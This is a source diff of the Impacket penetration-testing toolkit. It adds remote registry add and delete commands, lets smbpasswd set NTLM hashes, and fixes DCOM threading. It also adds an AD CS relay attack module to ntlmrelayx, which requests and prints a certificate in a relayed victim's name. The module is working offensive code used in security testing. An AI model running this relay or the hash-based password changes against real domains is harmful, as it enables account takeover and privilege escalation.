if ans3['ErrorCode'] == 0:
print('Successfully set subkey %s' % (
keyName
))
else:
print('Error 0x%08x while creating subkey %s' % (
ans3['ErrorCode'], keyName
))
else: # Try to set value of key
ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey,
samDesired=READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY)
dwType = getattr(rrp, self.__options.vt, None)
if dwType is None or not self.__options.vt.startswith('REG_'):
raise Exception('Error parsing value type %s' % self.__options.vt)
#Fix (?) for packValue function
if dwType in (
rrp.REG_DWORD, rrp.REG_DWORD_BIG_ENDIAN, rrp.REG_DWORD_LITTLE_ENDIAN,
rrp.REG_QWORD, rrp.REG_QWORD_LITTLE_ENDIAN
):
valueData = int(self.__options.vd)
else:
valueData = self.__options.vd
ans3 = rrp.hBaseRegSetValue(
dce, ans2['phkResult'], self.__options.v, dwType, valueData
)
if ans3['ErrorCode'] == 0:
print('Successfully set key %s\\%s of type %s to value %s' % (
keyName, self.__options.v, self.__options.vt, valueData
))
else:
print('Error 0x%08x while setting key %s\\%s of type %s to value %s' % (
ans3['ErrorCode'], keyName, self.__options.v, self.__options.vt, valueData
))
def delete(self, dce, keyName):
hRootKey, subKey = self.__strip_root_key(dce, keyName)
# READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY should be equal to KEY_WRITE (0x20006)
if self.__options.v is None and not self.__options.va and not self.__options.ve: # Try to delete subkey
subKeyDelete = subKey
subKey = '\\'.join(subKey.split('\\')[:-1])
ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey,
samDesired=READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY)
# Should I use ans2?
try:
ans3 = rrp.hBaseRegDeleteKey(
dce, hRootKey, subKeyDelete,
)
except rpcrt.DCERPCException as e:
if e.error_code == 5:
#TODO: Check if DCERPCException appears only because of existing subkeys
print('Cannot delete key %s. Possibly it contains subkeys or insufficient privileges' % keyName)
return
else:
raise
except Exception as e:
logging.error('Unhandled exception while hBaseRegDeleteKey')
return
if ans3['ErrorCode'] == 0:
print('Successfully deleted subkey %s' % (
keyName
))
else:
print('Error 0x%08x while deleting subkey %s' % (
ans3['ErrorCode'], keyName
))
elif self.__options.v: # Delete single value
ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey,
samDesired=READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY)
ans3 = rrp.hBaseRegDeleteValue(
dce, ans2['phkResult'], self.__options.v
)
if ans3['ErrorCode'] == 0:
print('Successfully deleted key %s\\%s' % (
keyName, self.__options.v
))
else:
print('Error 0x%08x while deleting key %s\\%s' % (
ans3['ErrorCode'], keyName, self.__options.v
))
elif self.__options.ve:
ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey,
samDesired=READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY)
ans3 = rrp.hBaseRegDeleteValue(
dce, ans2['phkResult'], ''
)
if ans3['ErrorCode'] == 0:
print('Successfully deleted value %s\\%s' % (
keyName, 'Default'
))
else:
print('Error 0x%08x while deleting value %s\\%s' % (
ans3['ErrorCode'], keyName, self.__options.v
))
elif self.__options.va:
ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey,
samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS)
i = 0
allSubKeys = []
while True:
try:
ans3 = rrp.hBaseRegEnumValue(dce, ans2['phkResult'], i)
lp_value_name = ans3['lpValueNameOut'][:-1]
allSubKeys.append(lp_value_name)
i += 1
except rrp.DCERPCSessionError as e:
if e.get_error_code() == ERROR_NO_MORE_ITEMS:
break
ans4 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey,
samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS)
for subKey in allSubKeys:
try:
ans5 = rrp.hBaseRegDeleteValue(
dce, ans4['phkResult'], subKey
)
if ans5['ErrorCode'] == 0:
print('Successfully deleted value %s\\%s' % (
keyName, subKey
))
else:
print('Error 0x%08x in deletion of value %s\\%s' % (
ans5['ErrorCode'], keyName, subKey
))
except Exception as e:
print('Unhandled error %s in deletion of value %s\\%s' % (
str(e), keyName, subKey
))
def __strip_root_key(self, dce, keyName):
# Let's strip the root key
try:
rootKey = keyName.split('\\')[0]
subKey = '\\'.join(keyName.split('\\')[1:])
except Exception:
raise Exception('Error parsing keyName %s' % keyName)
if rootKey.upper() == 'HKLM':
ans = rrp.hOpenLocalMachine(dce)
elif rootKey.upper() == 'HKU':
ans = rrp.hOpenCurrentUser(dce)
elif rootKey.upper() == 'HKCR':
ans = rrp.hOpenClassesRoot(dce)
else:
raise Exception('Invalid root key %s ' % rootKey)
hRootKey = ans['phKey']
return hRootKey, subKey
def __print_key_values(self, rpc, keyHandler):
i = 0
while True:
@@ -330,7 +504,7 @@ if __name__ == '__main__':
query_parser.add_argument('-keyName', action='store', required=True,
help='Specifies the full path of the subkey. The '
'keyName must include a valid root key. Valid root keys for the local computer are: HKLM,'
' HKU.')
' HKU, HKCR.')
query_parser.add_argument('-v', action='store', metavar="VALUENAME", required=False, help='Specifies the registry '
'value name that is to be queried. If omitted, all value names for keyName are returned. ')
query_parser.add_argument('-ve', action='store_true', default=False, required=False, help='Queries for the default '
@@ -339,10 +513,30 @@ if __name__ == '__main__':
'names recursively.')
# An add command
# add_parser = subparsers.add_parser('add', help='Adds a new subkey or entry to the registry')
add_parser = subparsers.add_parser('add', help='Adds a new subkey or entry to the registry')
add_parser.add_argument('-keyName', action='store', required=True,
help='Specifies the full path of the subkey. The '
'keyName must include a valid root key. Valid root keys for the local computer are: HKLM,'
' HKU, HKCR.')
add_parser.add_argument('-v', action='store', metavar="VALUENAME", required=False, help='Specifies the registry '
'value name that is to be set.')
add_parser.add_argument('-vt', action='store', metavar="VALUETYPE", required=False, help='Specifies the registry '
'type name that is to be set. Default is REG_SZ. Valid types are: REG_NONE, REG_SZ, REG_EXPAND_SZ, '
'REG_BINARY, REG_DWORD, REG_DWORD_BIG_ENDIAN, REG_LINK, REG_MULTI_SZ, REG_QWORD',
default='REG_SZ')
add_parser.add_argument('-vd', action='store', metavar="VALUEDATA", required=False, help='Specifies the registry '
'value data that is to be set.', default='')
# An delete command
# delete_parser = subparsers.add_parser('delete', help='Deletes a subkey or entries from the registry')
delete_parser = subparsers.add_parser('delete', help='Deletes a subkey or entries from the registry')
delete_parser.add_argument('-keyName', action='store', required=True,
help='Specifies the full path of the subkey. The '
'keyName must include a valid root key. Valid root keys for the local computer are: HKLM,'
' HKU, HKCR.')
delete_parser.add_argument('-v', action='store', metavar="VALUENAME", required=False, help='Specifies the registry '
'value name that is to be deleted.')
delete_parser.add_argument('-va', action='store_true', required=False, help='Delete all values under this key.')
delete_parser.add_argument('-ve', action='store_true', required=False, help='Delete the value of empty value name (Default).')
# A copy command
# copy_parser = subparsers.add_parser('copy', help='Copies a registry entry to a specified location in the remote '
+138 -71
View File
@@ -8,55 +8,62 @@
# for more information.
#
# Description:
# This script is an alternative to smbpasswd tool and intended to be used
# for changing expired passwords remotely over SMB (MSRPC-SAMR).
# This script is an alternative to smbpasswd tool and intended to be used
# for changing passwords remotely over SMB (MSRPC-SAMR). It can perform the
# password change when the current password is expired, and supports NTLM
# hashes as a new password value instead of a plaintext value. As for the
# latter approach the new password is flagged as expired after the change
# due to how SamrChangePasswordUser function works.
#
# Examples:
# smbpasswd.py j.doe@PC01.megacorp.local
# smbpasswd.py j.doe:'Passw0rd!'@10.10.13.37 -newpass 'N3wPassw0rd!'
# smbpasswd.py -hashes :fc525c9683e8fe067095ba2ddc971889 [email protected] -newpass 'N3wPassw0rd!'
# smbpasswd.py j.doe@192.168.1.11
# smbpasswd.py contoso.local/j.doe@DC1 -hashes :fc525c9683e8fe067095ba2ddc971889
# smbpasswd.py contoso.local/j.doe:'Passw0rd!'@DC1 -newpass 'N3wPassw0rd!'
# smbpasswd.py contoso.local/j.doe:'Passw0rd!'@DC1 -newhashes :126502da14a98b58f2c319b81b3a49cb
#
# Author:
# Sam Freeside (@snovvcrash)
# @snovvcrash
# @bransh
#
# References:
# - https://snovvcrash.github.io/2020/10/31/pretending-to-be-smbpasswd-with-impacket.html
# - https://github.com/samba-team/samba/blob/master/source3/utils/smbpasswd.c
# - https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/acb3204a-da8b-478e-9139-1ea589edb880
# https://snovvcrash.github.io/2020/10/31/pretending-to-be-smbpasswd-with-impacket.html
# https://github.com/samba-team/samba/blob/master/source3/utils/smbpasswd.c
# https://github.com/SecureAuthCorp/impacket/pull/381
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/acb3204a-da8b-478e-9139-1ea589edb880
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/9699d8ca-e1a4-433c-a8c3-d7bebeb01476
#
import sys
import logging
from getpass import getpass
from argparse import ArgumentParser
from impacket.dcerpc.v5 import transport, samr
from impacket import version
from impacket.examples import logger
from impacket.examples.utils import parse_target
from impacket.dcerpc.v5 import transport, samr
class SMBPasswd:
def __init__(self, userName, oldPwd, newPwd, oldPwdHashLM, oldPwdHashNT, target):
self.userName = userName
self.oldPwd = oldPwd
self.newPwd = newPwd
def __init__(self, domain, username, oldPassword, newPassword, oldPwdHashLM, oldPwdHashNT, newPwdHashLM, newPwdHashNT, hostname):
self.domain = domain
self.username = username
self.oldPassword = oldPassword
self.newPassword = newPassword
self.oldPwdHashLM = oldPwdHashLM
self.oldPwdHashNT = oldPwdHashNT
self.target = target
self.newPwdHashLM = newPwdHashLM
self.newPwdHashNT = newPwdHashNT
self.hostname = hostname
self.dce = None
try:
self.connect()
except Exception as e:
if 'STATUS_ACCESS_DENIED' in str(e):
print('[-] Access was denied when attempting to initialize a null session. Try changing the password with smbclient.py.')
else:
raise e
def connect(self):
rpctransport = transport.SMBTransport(self.target, filename=r'\samr')
if hasattr(rpctransport, 'set_credentials'):
# Initializing a null session to be able to change an expired password
def connect(self, anonymous=False):
rpctransport = transport.SMBTransport(self.hostname, filename=r'\samr')
if anonymous:
rpctransport.set_credentials(username='', password='', domain='', lmhash='', nthash='', aesKey='')
else:
rpctransport.set_credentials(self.username, self.oldPassword, self.domain, self.oldPwdHashLM, self.oldPwdHashNT, aesKey='')
self.dce = rpctransport.get_dce_rpc()
self.dce.connect()
@@ -64,70 +71,130 @@ class SMBPasswd:
def hSamrUnicodeChangePasswordUser2(self):
try:
resp = samr.hSamrUnicodeChangePasswordUser2(self.dce, '\x00', self.userName, self.oldPwd, self.newPwd, self.oldPwdHashLM, self.oldPwdHashNT)
resp = samr.hSamrUnicodeChangePasswordUser2(self.dce, '\x00', self.username, self.oldPassword, self.newPassword, self.oldPwdHashLM, self.oldPwdHashNT)
except Exception as e:
if 'STATUS_WRONG_PASSWORD' in str(e):
print('[-] Current SMB password is not correct.')
elif 'STATUS_PASSWORD_RESTRICTION' in str(e):
print('[-] Some password update rule has been violated. For example, the password may not meet length criteria.')
if 'STATUS_PASSWORD_RESTRICTION' in str(e):
logging.critical('Some password update rule has been violated. For example, the password may not meet length criteria.')
else:
raise e
else:
if resp['ErrorCode'] == 0:
print('[+] Password was changed successfully.')
logging.info('Password was changed successfully.')
else:
print('[?] Non-zero return code, something weird happened.')
logging.error('Non-zero return code, something weird happened.')
resp.dump()
def hSamrChangePasswordUser(self):
serverHandle = samr.hSamrConnect(self.dce, self.hostname + '\x00')['ServerHandle']
domainSID = samr.hSamrLookupDomainInSamServer(self.dce, serverHandle, self.domain)['DomainId']
domainHandle = samr.hSamrOpenDomain(self.dce, serverHandle, domainId=domainSID)['DomainHandle']
userRID = samr.hSamrLookupNamesInDomain(self.dce, domainHandle, (self.username,))['RelativeIds']['Element'][0]
userHandle = samr.hSamrOpenUser(self.dce, domainHandle, userId=userRID)['UserHandle']
try:
resp = samr.hSamrChangePasswordUser(self.dce, userHandle, self.oldPassword, newPassword='', oldPwdHashNT=self.oldPwdHashNT,
newPwdHashLM=self.newPwdHashLM, newPwdHashNT=self.newPwdHashNT)
except Exception as e:
if 'STATUS_PASSWORD_RESTRICTION' in str(e):
logging.critical('Some password update rule has been violated. For example, the password history policy may prohibit the use of recent passwords.')
else:
raise e
else:
if resp['ErrorCode'] == 0:
logging.info('NTLM hashes were changed successfully.')
else:
logging.error('Non-zero return code, something weird happened.')
resp.dump()
def normalize_args(args):
try:
credentials, target = args.target.rsplit('@', 1)
except ValueError:
print('Wrong target string format. For more information run with --help option.')
sys.exit(1)
def init_logger(options):
logger.init(options.ts)
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
logging.debug(version.getInstallationPath())
else:
logging.getLogger().setLevel(logging.INFO)
if args.hashes is not None:
def parse_args():
parser = ArgumentParser(description='Change password over SMB.')
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
parser.add_argument('-ts', action='store_true', help='adds timestamp to every logging output')
parser.add_argument('-debug', action='store_true', help='turn DEBUG output ON')
group = parser.add_mutually_exclusive_group()
group.add_argument('-newpass', action='store', default=None, help='new SMB password')
group.add_argument('-newhashes', action='store', default=None, metavar='LMHASH:NTHASH', help='new NTLM hashes, format is LMHASH:NTHASH '
'(the user will be asked to change their password at next logon)')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action='store', default=None, metavar='LMHASH:NTHASH', help='NTLM hashes, format is LMHASH:NTHASH')
return parser.parse_args()
if __name__ == '__main__':
print(version.BANNER)
options = parse_args()
init_logger(options)
domain, username, oldPassword, address = parse_target(options.target)
if domain is None:
domain = 'Builtin'
if options.hashes is not None:
try:
oldPwdHashLM, oldPwdHashNT = args.hashes.split(':')
oldPwdHashLM, oldPwdHashNT = options.hashes.split(':')
except ValueError:
print('Wrong hashes string format. For more information run with --help option.')
logging.critical('Wrong hashes string format. For more information run with --help option.')
sys.exit(1)
else:
oldPwdHashLM = ''
oldPwdHashNT = ''
try:
userName, oldPwd = credentials.split(':', 1)
except ValueError:
userName = credentials
if oldPwdHashNT == '':
oldPwd = getpass('Current SMB password: ')
else:
oldPwd = ''
if oldPassword == '' and oldPwdHashNT == '':
oldPassword = getpass('Current SMB password: ')
if args.newpass is None:
newPwd = getpass('New SMB password: ')
if newPwd != getpass('Retype new SMB password: '):
print('Password does not match, try again.')
if options.newhashes is not None:
try:
newPwdHashLM, newPwdHashNT = options.newhashes.split(':')
except ValueError:
logging.critical('Wrong new hashes string format. For more information run with --help option.')
sys.exit(1)
newPassword = ''
else:
newPwd = args.newpass
newPwdHashLM = ''
newPwdHashNT = ''
if options.newpass is None:
newPassword = getpass('New SMB password: ')
if newPassword != getpass('Retype new SMB password: '):
logging.critical('Passwords do not match, try again.')
sys.exit(1)
else:
newPassword = options.newpass
return (userName, oldPwd, newPwd, oldPwdHashLM, oldPwdHashNT, target)
smbpasswd = SMBPasswd(domain, username, oldPassword, newPassword, oldPwdHashLM, oldPwdHashNT, newPwdHashLM, newPwdHashNT, address)
try:
smbpasswd.connect()
except Exception as e:
if any(msg in str(e) for msg in ['STATUS_PASSWORD_MUST_CHANGE', 'STATUS_PASSWORD_EXPIRED']):
if newPassword:
logging.warning('Password is expired, trying to bind with a null session.')
smbpasswd.connect(anonymous=True)
else:
logging.critical('Cannot set new NTLM hashes when current password is expired. Provide a plaintext value for the new password.')
sys.exit(1)
elif 'STATUS_LOGON_FAILURE' in str(e):
logging.critical('Authentication failure.')
sys.exit(1)
else:
raise e
if __name__ == '__main__':
print (version.BANNER)
parser = ArgumentParser(description='Change password over SMB.')
parser.add_argument('target', action='store', help='<username[:password]>@<target_hostname_or_IP_address>')
parser.add_argument('-newpass', action='store', default=None, help='new SMB password')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action='store', default=None, metavar='LMHASH:NTHASH', help='current NTLM hashes, format is LMHASH:NTHASH')
args = parser.parse_args()
userName, oldPwd, newPwd, oldPwdHashLM, oldPwdHashNT, target = normalize_args(args)
smbpasswd = SMBPasswd(userName, oldPwd, newPwd, oldPwdHashLM, oldPwdHashNT, target)
smbpasswd.hSamrUnicodeChangePasswordUser2()
if newPassword:
# If using a plaintext value for the new password
smbpasswd.hSamrUnicodeChangePasswordUser2()
else:
# If using NTLM hashes for the new password
smbpasswd.hSamrChangePasswordUser()
+21 -22
View File
@@ -32,7 +32,7 @@ from __future__ import division
from __future__ import print_function
import socket
from struct import pack
from threading import Timer, currentThread
from threading import Timer, current_thread
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRTLSTRUCT, UNKNOWNDATA
from impacket.dcerpc.v5.dtypes import LPWSTR, ULONGLONG, HRESULT, GUID, USHORT, WSTR, DWORD, LPLONG, LONG, PGUID, ULONG, \
@@ -1090,7 +1090,7 @@ class DCOMConnection:
DCOMConnection.PINGTIMER.join()
DCOMConnection.PINGTIMER = None
if self.__target in INTERFACE.CONNECTIONS:
del(INTERFACE.CONNECTIONS[self.__target][currentThread().getName()])
del(INTERFACE.CONNECTIONS[self.__target][current_thread().name])
self.__portmap.disconnect()
#print INTERFACE.CONNECTIONS
@@ -1146,7 +1146,7 @@ class INTERFACE:
# We gotta check if we have a container inside our connection list, if not, create
if (self.__target in INTERFACE.CONNECTIONS) is not True:
INTERFACE.CONNECTIONS[self.__target] = {}
INTERFACE.CONNECTIONS[self.__target][currentThread().getName()] = {}
INTERFACE.CONNECTIONS[self.__target][current_thread().name] = {}
if objRef is not None:
self.process_interface(objRef)
@@ -1206,7 +1206,7 @@ class INTERFACE:
return self.__ipidRemUnknown
def get_dce_rpc(self):
return INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid]['dce']
return INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['dce']
def get_cinstance(self):
return self.__cinstance
@@ -1214,12 +1214,12 @@ class INTERFACE:
def set_cinstance(self, cinstance):
self.__cinstance = cinstance
def is_fdqn(self):
def is_fqdn(self):
# I will assume the following
# If I can't socket.inet_aton() then it's not an IPv4 address
# Same for ipv6, but since socket.inet_pton is not available in Windows, I'll look for ':'. There can't be
# an FQDN with ':'
# Is it isn't both, then it is a FDQN
# Is it isn't both, then it is a FQDN
try:
socket.inet_aton(self.__target)
except:
@@ -1227,30 +1227,29 @@ class INTERFACE:
try:
self.__target.index(':')
except:
# Not an IPv6, it's a FDQN
# Not an IPv6, it's a FQDN
return True
return False
def connect(self, iid = None):
if (self.__target in INTERFACE.CONNECTIONS) is True:
if currentThread().getName() in INTERFACE.CONNECTIONS[self.__target] and \
(self.__oxid in INTERFACE.CONNECTIONS[self.__target][currentThread().getName()]) is True:
dce = INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid]['dce']
currentBinding = INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid]['currentBinding']
if current_thread().name in INTERFACE.CONNECTIONS[self.__target] and \
(self.__oxid in INTERFACE.CONNECTIONS[self.__target][current_thread().name]) is True:
dce = INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['dce']
currentBinding = INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['currentBinding']
if currentBinding == iid:
# We don't need to alter_ctx
pass
else:
newDce = dce.alter_ctx(iid)
INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid]['dce'] = newDce
INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid]['currentBinding'] = iid
INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['dce'] = newDce
INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['currentBinding'] = iid
else:
stringBindings = self.get_cinstance().get_string_bindings()
# No OXID present, we should create a new connection and store it
stringBinding = None
isTargetFDQN = self.is_fdqn()
LOG.debug('Target system is %s and isFDQN is %s' % (self.get_target(), isTargetFDQN))
isTargetFQDN = self.is_fqdn()
LOG.debug('Target system is %s and isFQDN is %s' % (self.get_target(), isTargetFQDN))
for strBinding in stringBindings:
# Here, depending on the get_target() value several things can happen
# 1) it's an IPv4 address
@@ -1272,7 +1271,7 @@ class INTERFACE:
stringBinding = 'ncacn_ip_tcp:' + strBinding['aNetworkAddr'][:-1]
break
# If get_target() is a FQDN, does it match the hostname?
elif isTargetFDQN and binding.upper().find(self.get_target().upper().partition('.')[0]) >= 0:
elif isTargetFQDN and binding.upper().find(self.get_target().upper().partition('.')[0]) >= 0:
# Here we replace the aNetworkAddr with self.get_target()
# This is to help resolving the target system name.
# self.get_target() has been resolved already otherwise we wouldn't be here whereas
@@ -1313,10 +1312,10 @@ class INTERFACE:
#traceback.print_stack()
raise Exception("OXID NONE, something wrong!!!")
INTERFACE.CONNECTIONS[self.__target][currentThread().getName()] = {}
INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid] = {}
INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid]['dce'] = dce
INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid]['currentBinding'] = iid
INTERFACE.CONNECTIONS[self.__target][current_thread().name] = {}
INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid] = {}
INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['dce'] = dce
INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['currentBinding'] = iid
else:
# No connection created
raise Exception('No connection created')
@@ -1339,7 +1338,7 @@ class INTERFACE:
return resp
def disconnect(self):
return INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid]['dce'].disconnect()
return INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['dce'].disconnect()
# 3.1.1.5.6.1 IRemUnknown Methods
+27 -4
View File
@@ -2738,15 +2738,38 @@ def hSamrGetAliasMembership(dce, domainHandle, sidArray):
request['SidArray']['Count'] = len(sidArray['Sids'])
return dce.request(request)
def hSamrChangePasswordUser(dce, userHandle, oldPassword, newPassword):
def hSamrChangePasswordUser(dce, userHandle, oldPassword, newPassword, oldPwdHashNT='', newPwdHashLM='', newPwdHashNT=''):
request = SamrChangePasswordUser()
request['UserHandle'] = userHandle
from impacket import crypto, ntlm
oldPwdHashNT = ntlm.NTOWFv1(oldPassword)
newPwdHashNT = ntlm.NTOWFv1(newPassword)
newPwdHashLM = ntlm.LMOWFv1(newPassword)
if oldPwdHashNT == '':
oldPwdHashNT = ntlm.NTOWFv1(oldPassword)
else:
# Let's convert the hashes to binary form, if not yet
try:
oldPwdHashNT = unhexlify(oldPwdHashNT)
except:
pass
if newPwdHashLM == '':
newPwdHashLM = ntlm.LMOWFv1(newPassword)
else:
# Let's convert the hashes to binary form, if not yet
try:
newPwdHashLM = unhexlify(newPwdHashLM)
except:
pass
if newPwdHashNT == '':
newPwdHashNT = ntlm.NTOWFv1(newPassword)
else:
# Let's convert the hashes to binary form, if not yet
try:
newPwdHashNT = unhexlify(newPwdHashNT)
except:
pass
request['LmPresent'] = 0
request['OldLmEncryptedWithNewLm'] = NULL
+7 -4
View File
@@ -30,11 +30,12 @@ from impacket.dcerpc.v5.rpcrt import DCERPCException, DCERPC_v5, DCERPC_v4
from impacket.dcerpc.v5.rpch import RPCProxyClient, RPCProxyClientException, RPC_OVER_HTTP_v1, RPC_OVER_HTTP_v2
from impacket.smbconnection import SMBConnection
class DCERPCStringBinding:
parser = re.compile(r'(?:([a-fA-F0-9-]{8}(?:-[a-fA-F0-9-]{4}){3}-[a-fA-F0-9-]{12})@)?' # UUID (opt.)
+'([_a-zA-Z0-9]*):' # Protocol Sequence
+'([^\[]*)' # Network Address (opt.)
+'(?:\[([^\]]*)\])?') # Endpoint and options (opt.)
parser = re.compile(r"(?:([a-fA-F0-9-]{8}(?:-[a-fA-F0-9-]{4}){3}-[a-fA-F0-9-]{12})@)?" + # UUID (opt.)
r"([_a-zA-Z0-9]*):" + # Protocol Sequence
r"([^\[]*)" + # Network Address (opt.)
r"(?:\[([^]]*)])?") # Endpoint and options (opt.)
def __init__(self, stringbinding):
match = DCERPCStringBinding.parser.match(stringbinding)
@@ -90,6 +91,7 @@ class DCERPCStringBinding:
def __str__(self):
return DCERPCStringBindingCompose(self.__uuid, self.__ps, self.__na, self.__endpoint, self.__options)
def DCERPCStringBindingCompose(uuid=None, protocol_sequence='', network_address='', endpoint='', options={}):
s = ''
if uuid:
@@ -105,6 +107,7 @@ def DCERPCStringBindingCompose(uuid=None, protocol_sequence='', network_address=
return s
def DCERPCTransportFactory(stringbinding):
sb = DCERPCStringBinding(stringbinding)
@@ -13,12 +13,15 @@
# Authors:
# Alberto Solino (@agsolino)
# Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)
#
# Ex Android Dev (@ExAndroidDev)
from impacket.examples.ntlmrelayx.attacks import ProtocolAttack
from impacket.examples.ntlmrelayx.attacks.httpattacks.adcsattack import ADCSAttack
PROTOCOL_ATTACK_CLASS = "HTTPAttack"
class HTTPAttack(ProtocolAttack):
class HTTPAttack(ProtocolAttack, ADCSAttack):
"""
This is the default HTTP attack. This attack only dumps the root page, though
you can add any complex attack below. self.client is an instance of urrlib.session
@@ -26,26 +29,17 @@ class HTTPAttack(ProtocolAttack):
proxy through ntlmrelayx
"""
PLUGIN_NAMES = ["HTTP", "HTTPS"]
def run(self):
#Default action: Dump requested page to file, named username-targetname.html
#You can also request any page on the server via self.client.session,
#for example with:
self.client.request("GET", "/")
r1 = self.client.getresponse()
print(r1.status, r1.reason)
data1 = r1.read()
print(data1)
#Remove protocol from target name
#safeTargetName = self.client.target.replace('http://','').replace('https://','')
#Replace any special chars in the target name
#safeTargetName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', safeTargetName)
#Combine username with filename
#fileName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', self.username.decode('utf-16-le')) + '-' + safeTargetName + '.html'
#Write it to the file
#with open(os.path.join(self.config.lootdir,fileName),'w') as of:
# of.write(self.client.lastresult)
if self.config.isADCSAttack:
ADCSAttack._run(self)
else:
# Default action: Dump requested page to file, named username-targetname.html
# You can also request any page on the server via self.client.session,
# for example with:
self.client.request("GET", "/")
r1 = self.client.getresponse()
print(r1.status, r1.reason)
data1 = r1.read()
print(data1)
Whitespace-only changes.
@@ -0,0 +1,88 @@
# Impacket - Collection of Python classes for working with network protocols.
#
# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved.
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
# AD CS relay attack
#
# Authors:
# Ex Android Dev (@ExAndroidDev)
# Tw1sm (@Tw1sm)
import re
import base64
from OpenSSL import crypto
from impacket import LOG
# cache already attacked clients
ELEVATED = []
class ADCSAttack:
def _run(self):
key = crypto.PKey()
key.generate_key(crypto.TYPE_RSA, 4096)
if self.username in ELEVATED:
LOG.info('Skipping user %s since attack was already performed' % self.username)
return
csr = self.generate_csr(key, self.username)
csr = csr.decode().replace("\n", "").replace("+", "%2b").replace(" ", "+")
LOG.info("CSR generated!")
data = "Mode=newreq&CertRequest=%s&CertAttrib=CertificateTemplate:%s&TargetStoreFlags=0&SaveCert=yes&ThumbPrint=" % (csr, self.config.template)
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0",
"Content-Type": "application/x-www-form-urlencoded",
"Content-Length": len(data)
}
LOG.info("Getting certificate...")
self.client.request("POST", "/certsrv/certfnsh.asp", body=data, headers=headers)
ELEVATED.append(self.username)
response = self.client.getresponse()
if response.status != 200:
LOG.error("Error getting certificate! Make sure you have entered valid certiface template.")
return
content = response.read()
found = re.findall(r'location="certnew.cer\?ReqID=(.*?)&', content.decode())
if len(found) == 0:
LOG.error("Error obtaining certificate!")
return
certificate_id = found[0]
self.client.request("GET", "/certsrv/certnew.cer?ReqID=" + certificate_id)
response = self.client.getresponse()
LOG.info("GOT CERTIFICATE!")
certificate = response.read().decode()
certificate_store = self.generate_pfx(key, certificate)
LOG.info("Base64 certificate of user %s: \n%s" % (self.username, base64.b64encode(certificate_store).decode()))
def generate_csr(self, key, CN):
LOG.info("Generating CSR...")
req = crypto.X509Req()
req.get_subject().CN = CN
req.set_pubkey(key)
req.sign(key, "sha256")
return crypto.dump_certificate_request(crypto.FILETYPE_PEM, req)
def generate_pfx(self, key, certificate):
certificate = crypto.load_certificate(crypto.FILETYPE_PEM, certificate)
p12 = crypto.PKCS12()
p12.set_certificate(certificate)
p12.set_privatekey(key)
return p12.export()
@@ -300,8 +300,12 @@ class LDAPAttack(ProtocolAttack):
restoredata = {}
# Query for the sid of our user
self.client.search(userDn, '(objectCategory=user)', attributes=['sAMAccountName', 'objectSid'])
entry = self.client.entries[0]
try:
self.client.search(userDn, '(objectClass=user)', attributes=['sAMAccountName', 'objectSid'])
entry = self.client.entries[0]
except IndexError:
LOG.error('Could not retrieve infos for user: %s' % userDn)
return
username = entry['sAMAccountName'].value
usersid = entry['objectSid'].value
LOG.debug('Found sid for user %s: %s' % (username, usersid))
@@ -40,6 +40,7 @@ class HTTPRelayClient(ProtocolClient):
self.negotiateMessage = None
self.authenticateMessageBlob = None
self.server = None
self.authenticationMethod = None
def initConnection(self):
self.session = HTTPConnection(self.targetHost,self.targetPort)
@@ -58,27 +59,35 @@ class HTTPRelayClient(ProtocolClient):
if res.status != 401:
LOG.info('Status code returned: %d. Authentication does not seem required for URL' % res.status)
try:
if 'NTLM' not in res.getheader('WWW-Authenticate'):
if 'NTLM' not in res.getheader('WWW-Authenticate') and 'Negotiate' not in res.getheader('WWW-Authenticate'):
